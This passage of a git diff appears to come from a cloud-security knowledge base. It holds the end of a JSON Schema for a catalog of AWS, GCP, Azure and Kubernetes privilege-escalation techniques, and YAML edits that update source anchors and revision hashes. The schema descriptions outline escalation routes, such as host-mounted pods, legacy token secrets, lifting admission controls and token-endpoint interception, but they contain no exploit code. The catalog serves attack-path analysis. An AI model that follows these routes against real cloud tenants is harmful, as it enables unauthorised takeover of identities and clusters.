"k8s_group", + "k8s_node", + "k8s_remote_cluster", + "k8s_service_account", + "k8s_user" + ] + }, + "minItems": 1, + "type": "array" + } + ] + }, + "source_selector": { + "additionalProperties": false, + "properties": { + "eks_access_entry_type": { + "description": "EKS access entry type of the source EKS node-role cloud identity (related AWS eks_access_entry); sources whose entries have another type are dropped, sources without an entry are decided by the target selector.", + "type": "string" + }, + "include_service_managed": { + "description": "Allow service-managed identities (AWS service-linked roles, Google-managed agents, Microsoft first-party service principals) as sources; they are skipped by default because customers cannot act as them.", + "type": "boolean" + }, + "k8s_node_role": { + "description": "Node carries node-role.kubernetes.io/ label.", + "type": "string" + }, + "source_bound_to_aggregated_clusterrole": { + "anyOf": [ + { + "const": true + }, + { + "const": "cluster" + }, + { + "const": "namespace" + } + ], + "description": "Source is bound to a ClusterRole with an aggregationRule: true = by any (Cluster)RoleBinding, 'cluster' = by a ClusterRoleBinding only (cluster-wide)." + }, + "source_id_glob": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "items": { + "minLength": 1, + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Generic (evaluator): the source principal id matches one of the case-insensitive globs." + }, + "source_reaches_kind": { + "description": "Generic (evaluator, graph post-pass): the source is of that target kind or reaches a node of that kind through the other techniques' edges (fixpoint); the edge takes the weakest confidence of the best chain and the condition source_reaches__via_chain.", + "enum": [ + "aws_account_admin", + "aws_challenge_foothold", + "aws_directory_domain_admin", + "aws_group", + "aws_identity_center_permission_set", + "aws_identity_center_user", + "aws_role", + "aws_service_plane_admin", + "aws_user", + "aws_verified_authority", + "azure_challenge_foothold", + "azure_dataplane_admin", + "azure_external_principal", + "azure_managed_identity", + "azure_scope_owner", + "azure_service_principal", + "azure_storage_local_user", + "azure_user", + "azure_verified_authority", + "cloud_identity", + "entra_group", + "entra_role", + "gcp_challenge_foothold", + "gcp_external_principal", + "gcp_group", + "gcp_scope_owner", + "gcp_service_account", + "gcp_user", + "gcp_verified_authority", + "gcp_workspace_user", + "k8s_admission_control", + "k8s_cluster_admin", + "k8s_group", + "k8s_node", + "k8s_remote_cluster", + "k8s_service_account", + "k8s_user", + "k8s_verified_authority" + ] + } + }, + "type": "object" + }, + "target": { + "properties": { + "kind": { + "enum": [ + "cloud_identity", + "gcp_service_account", + "gcp_verified_authority", + "k8s_admission_control", + "k8s_cluster_admin", + "k8s_group", + "k8s_node", + "k8s_remote_cluster", + "k8s_service_account", + "k8s_user", + "k8s_verified_authority" + ] + }, + "selector": { + "additionalProperties": false, + "properties": { + "any_principal_in_scope": { + "const": true, + "description": "Entity target covering every principal of the scope where the requirement holds (scope owner / cluster-admin / account admin)." + }, + "azure_fic_matches_k8s_sa": { + "const": true, + "description": "Federated identity credential subject matches the SA (cloud facts needed)." + }, + "exclude_names": { + "anyOf": [ + { + "type": "string" + }, + { + "items": { + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Drop targets whose name is in the list." + }, + "exclude_target_id_glob": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "items": { + "minLength": 1, + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Generic (evaluator): drop targets whose node id matches one of the globs." + }, + "gcp_workload_identity_user_granted_to_k8s_sa": { + "const": true, + "description": "GSA grants roles/iam.workloadIdentityUser to the KSA member (cloud facts needed)." + }, + "k8s_aggregated_rolebinding_namespace": { + "const": true, + "description": "The source is bound in the target namespace to a ClusterRole whose aggregationRule selects new ClusterRoles." + }, + "k8s_aggregation_new_role_path": { + "const": true, + "description": "An escalation grant admits a new ClusterRole name that is not already used by a collected role." + }, + "k8s_bound_role_gain": { + "const": true, + "description": "Collected Role rules contain a concrete permission the source lacks; the source can bind that exact Role in the target namespace." + }, + "k8s_challenge_fact": { + "description": "Exact reviewed Kubernetes technique/source/target/scope evidence.", + "type": "string" + }, + "k8s_cluster_admin_role_exists": { + "const": true, + "description": "The named cluster-admin ClusterRole is collected and grants pod creation or named ServiceAccount TokenRequest in the target namespace." + }, + "k8s_clusterrolebinding_gain": { + "const": true, + "description": "A collected ClusterRole grants a new cluster-wide permission and the source can bind that exact role." + }, + "k8s_constrained_impersonation_gain": { + "description": "The impersonate-on action overlaps an observed right of the selected identity and grants a concrete action the source lacks.", + "type": "string" + }, + "k8s_csr_sa_subject": { + "const": true, + "description": "A collected RBAC binding names this ServiceAccount username and resolves to a role with effective rules." + }, + "k8s_csr_same_name_path": { + "const": true, + "description": "Read and approval permissions overlap on one creatable CSR name; restricted names stay unresolved without CSR inventory." + }, + "k8s_dangling_sa_permission_gain": { + "const": true, + "description": "The missing ServiceAccount's direct binding resolves to a role with a concrete permission that the source lacks." + }, + "k8s_existing_clusterrolebinding_gain": { + "const": true, + "description": "An existing ClusterRoleBinding targets the exact ClusterRole and the source can modify that binding to gain a new cluster-wide permission." + }, + "k8s_existing_rolebinding_gain": { + "const": true, + "description": "An existing RoleBinding targets the exact Role, the source can modify that binding and bind the Role, and the Role grants a new permission." + }, + "k8s_helm_values_rbac": { + "const": true, + "description": "Reviewed exact ConfigMap-to-Helm-to-RoleBinding permission grant for the lab documented by the source." + }, + "k8s_kcc_project_policy_grant": { + "const": true, + "description": "Exact namespace RBAC can change a Config Connector project IAM resource whose configured identity can read and set that project's IAM policy." + }, + "k8s_kcc_service_account_key_path": { + "const": true, + "description": "Joined Config Connector identity and exact Google service account key creation through a namespaced Kubernetes source." + }, + "k8s_mutating_admission_policy_served": { + "const": true, + "description": "API discovery advertises both MutatingAdmissionPolicy and MutatingAdmissionPolicyBinding resources; missing resource discovery is unresolved." + }, + "k8s_node_cloud_identity": { + "const": true, + "description": "Cloud identity attached to the node (cloud facts needed)." + }, + "k8s_node_hosting_host_mount_pod_in_namespace": { + "description": "Node hosts a pod of that namespace mounting a sensitive hostPath: a container runtime socket or a node credential path (even readOnly), or a host-executed path mounted writable; /etc/kubernetes, /home, /var/lib/docker|containerd and subPath mounts match conditionally. Other hostPaths (e.g. /var/log) do not match.", + "minLength": 1, + "type": "string" + }, + "k8s_node_hosting_pod_of_source": { + "const": true, + "description": "k8s_node targets hosting a collected pod that runs as the source service account (the 'associated node')." + }, + "k8s_node_hosting_pods_in_namespace": { + "description": "Node hosts pods of that namespace.", + "minLength": 1, + "type": "string" + }, + "k8s_node_hosting_pods_with_sa": { + "const": true, + "description": "Service account is mounted by a scheduled pod (k8s_service_account) or node hosts pods (k8s_node); with a k8s_node source, the SAs of pods scheduled on that node." + }, + "k8s_node_hosting_privileged_pod_in_namespace": { + "description": "Node hosts a pod of that namespace with a privileged container (containers, initContainers or ephemeralContainers); added SYS_ADMIN / SYS_MODULE / DAC_READ_SEARCH / ALL, or SYS_PTRACE with hostPID, match conditionally. hostNetwork, hostIPC and hostPID alone do not match.", + "minLength": 1, + "type": "string" + }, + "k8s_node_schedulable": { + "const": true, + "description": "Node can be targeted by direct pod placement with spec.nodeName even when cordoned; unconfirmed readiness is conditional." + }, + "k8s_nodes_mapped_to_cloud_identity": { + "const": true, + "description": "Nodes running with the source EKS node role (instance facts) that the role is mapped to: a node access entry (EC2_LINUX/EC2_WINDOWS) = derived, no entry = conditional (aws-auth mapRoles not collected; dropped in API-only authentication mode); not evaluated without the related AWS eks_access_entry inventory." + }, + "k8s_pod_access_path": { + "description": "Join the named Running pod, its ServiceAccount, token volume/mount and the source's exact-name RBAC grant for modify_image, exec, exec_get_websocket, attach or ephemeral_container.", + "type": "string" + }, + "k8s_sa_absent_but_bound": { + "const": true, + "description": "Service account referenced by a (Cluster)RoleBinding subject but absent from the serviceaccount inventory (virtual SA node; anyone who can create it inherits the binding)." + }, + "k8s_sa_cloud_binding": { + "description": "Cloud identity bound to the source SA via irsa|eks_pod_identity|gke_workload_identity|azure_workload_identity|aks_identity_binding (cloud facts needed).", + "type": "string" + }, + "k8s_sa_has_legacy_token_secret": { + "const": true, + "description": "ServiceAccounts referenced by a kubernetes.io/service-account-token Secret in their namespace (annotation kubernetes.io/service-account.name, from secret metadata; never data)." + }, + "k8s_sa_in_namespace": { + "description": "Target service account namespace: '{source.namespace}', '{target.namespace}', '*', or a literal namespace.", + "minLength": 1, + "type": "string" + }, + "k8s_sa_missing_in_host_scc_users": { + "const": true, + "description": "OpenShift: absent service account named in a host-access SCC users[] entry in an existing namespace; missing inventory is unresolved." + }, + "k8s_sa_name": { + "anyOf": [ + { + "type": "string" + }, + { + "items": { + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Target service account name is one of the listed names." + }, + "k8s_sa_named_in_scc_users": { + "const": true, + "description": "OpenShift: service account named in a SecurityContextConstraints users[] entry (system:serviceaccount::); SA nodes only named by an SCC are virtual." + }, + "k8s_sa_namespace_absent": { + "const": true, + "description": "Service account referenced by a binding that adds a concrete permission or by a host-access SCC users[] entry whose namespace is absent from a complete namespace inventory." + }, + "k8s_sa_used_by_controller_managed_pod": { + "const": true, + "description": "Service account is used by a pod owned by a controller (ownerReferences)." + }, + "k8s_sa_used_by_interactive_pod": { + "const": true, + "description": "Service account is used by a Running pod with a running container whose stdin is enabled; whether its process accepts commands remains conditional." + }, + "k8s_sa_used_by_pending_pod": { + "const": true, + "description": "Service account of a collected pod in phase Pending with no spec.nodeName (unscheduled; a pods/binding or bindings write can place it on a node the attacker controls)." + }, + "k8s_sa_used_by_pod_consuming_configmap": { + "const": true, + "description": "Service account is used by a running pod that consumes a ConfigMap (volume, projected volume, envFrom or env valueFrom; kube-root-ca.crt ignored); always conditional because execution of the content is not verified." + }, + "k8s_sa_used_by_running_pod": { + "const": true, + "description": "Service account is used by a running pod with an available token." + }, + "k8s_secret_holds_cloud_credential": { + "anyOf": [ + { + "const": true + }, + { + "enum": [ + "aws", + "gcp", + "azure", + "any" + ] + }, + { + "items": { + "enum": [ + "aws", + "gcp", + "azure", + "any" + ] + }, + "minItems": 1, + "type": "array" + } + ], + "description": "cloud_identity targets standing for a static cloud credential stored in a Secret (one node per Secret, scope /, {target.name} = Secret name), recognised from Secret metadata only (name, labels, annotations: never data); value aws|gcp|azure|any or a list. Always conditional (content not verified)." + }, + "k8s_secret_holds_remote_cluster_credential": { + "anyOf": [ + { + "const": true + }, + { + "pattern": "^[A-Za-z0-9][A-Za-z0-9._/-]*(=[A-Za-z0-9._-]*)?$", + "type": "string" + }, + { + "items": { + "pattern": "^[A-Za-z0-9][A-Za-z0-9._/-]*(=[A-Za-z0-9._-]*)?$", + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "k8s_remote_cluster targets: Secrets whose labels match one 'key=value' (or 'key') selector; true = known markers (argocd.argoproj.io/secret-type=cluster, cluster.x-k8s.io/cluster-name with a *-kubeconfig name)." + }, + "k8s_verified_pivot": { + "description": "Unique fresh reviewed evidence binds the exact source action and object to one accepted remote principal or newly granted Kubernetes permission.", + "type": "string" + }, + "k8s_websocket_exec_get_usable": { + "const": true, + "description": "The collected Kubernetes server version is older than 1.35, when WebSocket exec could use get alone; 1.35+ requires create by default and stays unresolved if the feature gate state is not collected." + }, + "kube2iam_namespace_permits_role": { + "description": "Namespace (usually {pivot.namespace}) annotation iam.amazonaws.com/permitted (kube2iam/kiam) allows the target role (annotation facts needed).", + "minLength": 1, + "type": "string" + }, + "openshift_namespace_has_sa_with_host_scc": { + "description": "The OpenShift namespace (usually {pivot.namespace}) contains an SA allowed to use a host-level SCC (privileged / host PID / network / IPC / hostPath): from collected securitycontextconstraints users[] / groups[] and RBAC 'use' grants on security.openshift.io securitycontextconstraints. Unresolved when the SCC inventory or api_discovery is missing.", + "minLength": 1, + "type": "string" + }, + "openshift_namespace_without_scc": { + "const": true, + "description": "A fixed OpenShift default project or a collected existing namespace with openshift.io/run-level; missing namespace labels remain unresolved." + }, + "openshift_source_host_scc_path": { + "const": true, + "description": "The source can use a collected privileged or host-filesystem SCC in the same namespace where it creates a Pod, through namespace-scoped RBAC or SCC users/groups." + }, + "openshift_unlabeled_existing_namespace": { + "const": true, + "description": "The pivot namespace exists and does not yet have openshift.io/run-level; the source must also hold namespace patch/update and workload creation on that exact namespace." + }, + "resource_permission_covers_target": { + "description": "The source must also hold this action on the target resource ({target.arn}/{target.email}/{target.scope}/{target.namespace}).", + "minLength": 1, + "type": "string" + }, + "same_as_source": { + "const": true, + "description": "Target is the source itself (self-escalation); for entity kinds the source's own scope." + }, + "target_id_glob": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "items": { + "minLength": 1, + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Generic (evaluator): target node id (ARN / SA email / object id / cluster:ns:name) matches one of the case-insensitive globs (e.g. '*-compute@developer.gserviceaccount.com', 'arn:aws:iam::*:role/aws-reserved/*')." + }, + "target_name_glob": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "items": { + "minLength": 1, + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Generic (evaluator): target display name (role / user / SA / identity name) matches one of the globs." + }, + "trust_allows_k8s_sa_oidc_subject": { + "const": true, + "description": "IAM role trust allows the cluster OIDC subject of the SA (cloud facts needed)." + }, + "trust_allows_oidc_subject_wildcard": { + "description": "IAM role trust matches the given OIDC subject pattern (e.g. system:serviceaccount:{pivot.namespace}:*) on the cluster OIDC provider (cloud facts needed).", + "type": "string" + } + }, + "type": "object" + } + } + } + } + }, + "technique": { + "additionalProperties": false, + "allOf": [ + { + "if": { + "properties": { + "provider": { + "const": "aws" + } + }, + "required": [ + "provider" + ] + }, + "then": { + "$ref": "#/$defs/aws_technique" + } + }, + { + "if": { + "properties": { + "provider": { + "const": "gcp" + } + }, + "required": [ + "provider" + ] + }, + "then": { + "$ref": "#/$defs/gcp_technique" + } + }, + { + "if": { + "properties": { + "provider": { + "const": "azure" + } + }, + "required": [ + "provider" + ] + }, + "then": { + "$ref": "#/$defs/azure_technique" + } + }, + { + "if": { + "properties": { + "provider": { + "const": "k8s" + } + }, + "required": [ + "provider" + ] + }, + "then": { + "$ref": "#/$defs/k8s_technique" + } + } + ], + "properties": { + "blockers": { + "items": { + "anyOf": [ + { + "type": "string" + }, + { + "properties": { + "description": { + "type": "string" + }, + "id": { + "type": "string" + } + }, + "required": [ + "id" + ], + "type": "object" + } + ] + }, + "type": "array" + }, + "conditions": { + "description": "Documented caveats (not machine-checked; never change confidence).", + "items": { + "anyOf": [ + { + "type": "string" + }, + { + "additionalProperties": false, + "properties": { + "description": { + "type": "string" + }, + "id": { + "type": "string" + } + }, + "required": [ + "id" + ], + "type": "object" + } + ] + }, + "type": "array" + }, + "confidence": { + "enum": [ + "derived", + "conditional", + "unknown" + ] + }, + "id": { + "description": "Globally unique, kebab-case, provider-prefixed.", + "pattern": "^(aws|gcp|azure|k8s|entra)-[a-z0-9]+(?:-[a-z0-9]+)*$", + "type": "string" + }, + "mitigation": { + "pattern": "\\S", + "type": "string" + }, + "notes": { + "type": "string" + }, + "pivot_resource_type": { + "type": "string" + }, + "preconditions": { + "description": "Machine-checked preconditions (registry ids).", + "type": "array" + }, + "provider": { + "enum": [ + "aws", + "gcp", + "azure", + "k8s" + ] + }, + "references": { + "items": { + "type": "string" + }, + "type": "array" + }, + "requires": { + "type": "object" + }, + "service": { + "pattern": "\\S", + "type": "string" + }, + "severity": { + "enum": [ + "critical", + "high", + "medium", + "low", + "info" + ] + }, + "source": { + "description": "hacktricks-cloud page path (#anchor allowed).", + "pattern": "^src/", + "type": "string" + }, + "source_kind": {}, + "source_revision": { + "type": "string" + }, + "source_selector": { + "type": "object" + }, + "summary": { + "pattern": "\\S", + "type": "string" + }, + "target": { + "additionalProperties": false, + "properties": { + "aggregate_as": { + "type": "string" + }, + "grants": { + "description": "Permission / role names the outcome yields (documentation).", + "items": { + "pattern": "\\S", + "type": "string" + }, + "minItems": 1, + "type": "array" + }, + "include_service_managed": { + "type": "boolean" + }, + "kind": { + "enum": [ + "aws_account_admin", + "aws_challenge_foothold", + "aws_directory_domain_admin", + "aws_group", + "aws_identity_center_permission_set", + "aws_identity_center_user", + "aws_role", + "aws_service_plane_admin", + "aws_user", + "aws_verified_authority", + "azure_challenge_foothold", + "azure_dataplane_admin", + "azure_external_principal", + "azure_managed_identity", + "azure_scope_owner", + "azure_service_principal", + "azure_storage_local_user", + "azure_user", + "azure_verified_authority", + "cloud_identity", + "entra_group", + "entra_role", + "gcp_challenge_foothold", + "gcp_external_principal", + "gcp_group", + "gcp_scope_owner", + "gcp_service_account", + "gcp_user", + "gcp_verified_authority", + "gcp_workspace_user", + "k8s_admission_control", + "k8s_cluster_admin", + "k8s_group", + "k8s_node", + "k8s_remote_cluster", + "k8s_service_account", + "k8s_user", + "k8s_verified_authority" + ] + }, + "outcome": { + "description": "application_admin: Becomes administrator of a managed service's own application plane (not an IAM principal).; blocker_removal: Lifts an enforcement control (target.removes_blockers) that gates other techniques; reaches no principal.; bounded_authority: Evidence-bound effect on the exact non-principal target, defined only by the rule and verified facts; implies no IAM scope control, application administration, principal access, or further permissions.; credentials: Obtains credentials / tokens / a session of the target principal (keys, passwords, tokens, AssumeRole).; identity: Becomes the target principal (mechanism unspecified).; impersonation: Acts as the target through a delegation/impersonation API without holding its credentials.; membership: Becomes a member of the target group and inherits its grants.; permission_grant: The source's own permissions grow (policy/role edit or assignment); target is self or an entity.; role_activation: Activates/assigns a privileged role or permission set (PIM, Identity Center, Entra directory role).; scope_control: Gains IAM control of a scope (set IAM policy / role assignments) -> every principal of the scope.; workload_execution: Runs code inside a workload that carries the target identity (passed role, attached SA/MI).", + "enum": [ + "application_admin", + "blocker_removal", + "bounded_authority", + "credentials", + "identity", + "impersonation", + "membership", + "permission_grant", + "role_activation", + "scope_control", + "workload_execution" + ] + }, + "removes_blockers": { + "description": "k8s_admission_control: blocker ids the technique lifts.", + "items": { + "enum": [ + "abac_condition", + "access_package_approval_by_other_principal", + "admission_policy", + "admission_webhook", + "aks_entra_integration_enabled", + "aks_local_accounts_disabled", + "aks_local_accounts_enabled", + "aks_run_command_disabled", + "azure_deny_assignment", + "deny_policy", + "ecr_tag_immutability", + "explicit_deny", + "gatekeeper_constraint", + "gcp_deny_policy", + "glue_nonoverridable_arguments", + "intune_multi_admin_approval_required", + "kyverno_policy", + "lambda_code_signing_enforced", + "org_policy_constraint", + "permission_boundary", + "pim_approval_required_by_other_principal", + "pivot_namespace_psa_enforce_baseline_or_restricted", + "pod_security_admission", + "restricted_management_au", + "role_assignable_group_member_or_owner", + "role_assignment_condition_is_allowlist", + "scm_and_ftp_basic_auth_disabled", + "scp_deny", + "scp_or_boundary_deny", + "service_principal_conditional_access_block", + "sp_lock_configuration_credentials", + "target_upn_on_initial_onmicrosoft_domain", + "vpc_sc_perimeter" + ] + }, + "minItems": 1, + "type": "array" + }, + "scope": { + "enum": [ + "same_account", + "same_project", + "inherited_scope", + "same_namespace", + "cluster", + "tenant", + "org", + "any" + ] + }, + "selector": { + "type": "object" + } + }, + "required": [ + "kind" + ], + "type": "object" + }, + "title": { + "pattern": "\\S", + "type": "string" + } + }, + "required": [ + "id", + "provider", + "service", + "title", + "source", + "summary", + "requires", + "target", + "severity", + "mitigation" + ], + "type": "object" + } + }, + "$id": "https://cloud.hacktricks.wiki/schemas/privesc-technique.schema.json", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "anyOf": [ + { + "items": { + "$ref": "#/$defs/technique" + }, + "type": "array" + }, + { + "items": { + "$ref": "#/$defs/excluded" + }, + "type": "array" + }, + { + "type": "null" + } + ], + "description": "A catalog YAML file is a list of techniques (or, for _excluded*.yaml, a list of {source, reason}). Generated from peaso/privesc/schema.py; cross-field rules are enforced by validate_entry.", + "title": "Cloud privilege-escalation technique catalog file" +} diff --git a/src/privilege-escalation-paths/azure/_excluded_rbac.yaml b/src/privilege-escalation-paths/azure/_excluded_rbac.yaml index 205cae62b3..0d6b8343bb 100644 --- a/src/privilege-escalation-paths/azure/_excluded_rbac.yaml +++ b/src/privilege-escalation-paths/azure/_excluded_rbac.yaml @@ -552,7 +552,7 @@ - source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md#microsoftapimanagementservicepolicieswrite-or-microsoftapimanagementserviceapispolicieswrite technique: "APIM policy write (validate-jwt removal, throttling removal, backend reroute)" reason: "Security-control weakening and traffic reroute; the identity path of the same permission is covered by azure-apim-policy-write-managed-identity-token (rev 171e422)." -- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md#microsoftapimanagementserviceapispolicieswrite--ssrf--internal--imds-pivot-via- +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md#microsoftapimanagementserviceapispolicieswrite--ssrf--internal--imds-pivot-via-send-request technique: "APIM policy SSRF / internal pivot" reason: "Network pivot through the gateway; the identity path is covered by azure-apim-policy-write-managed-identity-token." - source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-configuration-privesc.md#app-configuration diff --git a/src/privilege-escalation-paths/azure/adjacent_principals.yaml b/src/privilege-escalation-paths/azure/adjacent_principals.yaml index a9397be841..7c610f7eff 100644 --- a/src/privilege-escalation-paths/azure/adjacent_principals.yaml +++ b/src/privilege-escalation-paths/azure/adjacent_principals.yaml @@ -6,7 +6,7 @@ provider: azure service: api_management title: Sign in as one named API Management developer-portal user - source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md#microsoftapimanagementserviceuserstokenaction + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md#microsoftapimanagementserviceusersgeneratessourlaction source_revision: db5b136660 summary: A generated SSO URL can reach the exact requested portal user only when its token is usable and newly grants a named portal or subscription action. requires: diff --git a/src/privilege-escalation-paths/azure/authorization.yaml b/src/privilege-escalation-paths/azure/authorization.yaml index f4ba149007..463ea15206 100644 --- a/src/privilege-escalation-paths/azure/authorization.yaml +++ b/src/privilege-escalation-paths/azure/authorization.yaml @@ -75,7 +75,7 @@ service: authorization title: Create or update a deployIfNotExists/modify policy assignment running as an existing user-assigned identity source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md#policy-assignment-remediation-with-an-existing-user-assigned-identity - source_revision: 171e422 + source_revision: 4393380a88845b42bd208d3adbb6d61ad89f02fb summary: The source can obtain the Azure RBAC control-plane privileges of user-assigned managed identities on which it holds assign/action, by making them the remediation identity of a policy assignment whose custom definition it controls. requires: all_of: diff --git a/src/privilege-escalation-paths/azure/avs.yaml b/src/privilege-escalation-paths/azure/avs.yaml index 84b58030e8..fc8b8361d8 100644 --- a/src/privilege-escalation-paths/azure/avs.yaml +++ b/src/privilege-escalation-paths/azure/avs.yaml @@ -69,7 +69,7 @@ service: avs title: Gain a named vCenter identity through a verified AVS Run Command grant source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-vmware-solution-avs-privesc.md#run-command-identity-grants-without-reading-credentials-scriptexecutionswrite - source_revision: 171e422 + source_revision: 4393380a88845b42bd208d3adbb6d61ad89f02fb summary: An AVS Run Command cmdlet can grant a named vCenter account new access only when the chosen package and cmdlet succeed and a reviewed login proves the added permission. requires: all_of: diff --git a/src/privilege-escalation-paths/azure/cosmos_db.yaml b/src/privilege-escalation-paths/azure/cosmos_db.yaml index a834a30290..43641ebd16 100644 --- a/src/privilege-escalation-paths/azure/cosmos_db.yaml +++ b/src/privilege-escalation-paths/azure/cosmos_db.yaml @@ -103,7 +103,7 @@ service: cosmos_db title: Grant a Cosmos DB native data-plane role on the Cassandra, Gremlin, Table or MongoDB API source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md#same-native-rbac-self-grant-on-the-other-cosmos-apis-cassandra--gremlin--table--mongodb-account - source_revision: a66f094ede + source_revision: 4393380a88845b42bd208d3adbb6d61ad89f02fb summary: The source may grant its own Entra identity data-plane access on a matching Cosmos DB API account. requires: all_of: [] diff --git a/src/privilege-escalation-paths/azure/entraid_groups.yaml b/src/privilege-escalation-paths/azure/entraid_groups.yaml index eb92d9c701..e8caee55b9 100644 --- a/src/privilege-escalation-paths/azure/entraid_groups.yaml +++ b/src/privilege-escalation-paths/azure/entraid_groups.yaml @@ -145,7 +145,7 @@ service: entraid title: Group owner joins an owned group source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#group-owner-joins-an-owned-group - source_revision: 658a097d5c + source_revision: 4393380a88845b42bd208d3adbb6d61ad89f02fb summary: An enabled owner can join an assigned group it does not already belong to, including a role-assignable group when its protected membership requirements are met. requires: all_of: diff --git a/src/privilege-escalation-paths/gcp/_excluded.yaml b/src/privilege-escalation-paths/gcp/_excluded.yaml index 1876ec5025..82a2963292 100644 --- a/src/privilege-escalation-paths/gcp/_excluded.yaml +++ b/src/privilege-escalation-paths/gcp/_excluded.yaml @@ -762,7 +762,7 @@ - source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-misc-perms-privesc.md#generic-permission-patterns technique: Generic permission patterns reason: Triage guidance; no specific technique. -- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-misc-perms-privesc.md#setiampolicy--self-grant-on-the-governed-resource +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-misc-perms-privesc.md#serviceresourcesetiampolicy--self-grant-on-the-governed-resource technique: Generic ..setIamPolicy reason: This heading is a generic pattern without one exact resource policy, policy-write action, grantable role, and named newly effective permission. Concrete per-service self-grants are modeled where typed evidence can bind all of those fields. diff --git a/src/privilege-escalation-paths/gcp/container.yaml b/src/privilege-escalation-paths/gcp/container.yaml index e184a296d8..25851d11b0 100644 --- a/src/privilege-escalation-paths/gcp/container.yaml +++ b/src/privilege-escalation-paths/gcp/container.yaml @@ -356,7 +356,7 @@ service: container title: Point fleet Config Management at an attacker source to push manifests into member clusters source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#config-management-source-change-for-a-fleet-member - source_revision: 171e422 + source_revision: 4393380a88845b42bd208d3adbb6d61ad89f02fb summary: The source may gain the Config Sync reconciler's privileges on a joined fleet-member cluster when it can change that member's Config Management source through the fleet Feature or MembershipFeature API. requires: any_of: diff --git a/src/privilege-escalation-paths/gcp/workspace.yaml b/src/privilege-escalation-paths/gcp/workspace.yaml index d91d2bc95c..2a0c3f6837 100644 --- a/src/privilege-escalation-paths/gcp/workspace.yaml +++ b/src/privilege-escalation-paths/gcp/workspace.yaml @@ -47,7 +47,7 @@ - https://docs.cloud.google.com/application-integration/docs/prepare-for-authorization-changes notes: The tested draft and published version paths require a collected enabled service and an observed integration in the same project and region. Other regions, new integration creation, and unattended trigger execution remain unresolved if not evidenced. - provider: gcp - source_revision: 47bb6e8f32 + source_revision: 4393380a88845b42bd208d3adbb6d61ad89f02fb id: gcp-agentidentity-retrieve-credentials service: agentidentity title: Retrieve an authorized Google OAuth credential from Agent Identity @@ -77,7 +77,7 @@ - https://docs.cloud.google.com/iam/docs/reference/agentidentitycredentials/rest/v1/projects.locations.authProviders.credentials/retrieve notes: The client user ID is supplied by the client application and is not independently verified as a Workspace identity. The path grants only the scopes on the existing authorization and remains conditional until credential retrieval succeeds. - provider: gcp - source_revision: 47bb6e8f32 + source_revision: 4393380a88845b42bd208d3adbb6d61ad89f02fb id: gcp-agentidentity-update-token-url service: agentidentity title: Change an Agent Identity auth provider's token endpoint to intercept future refreshes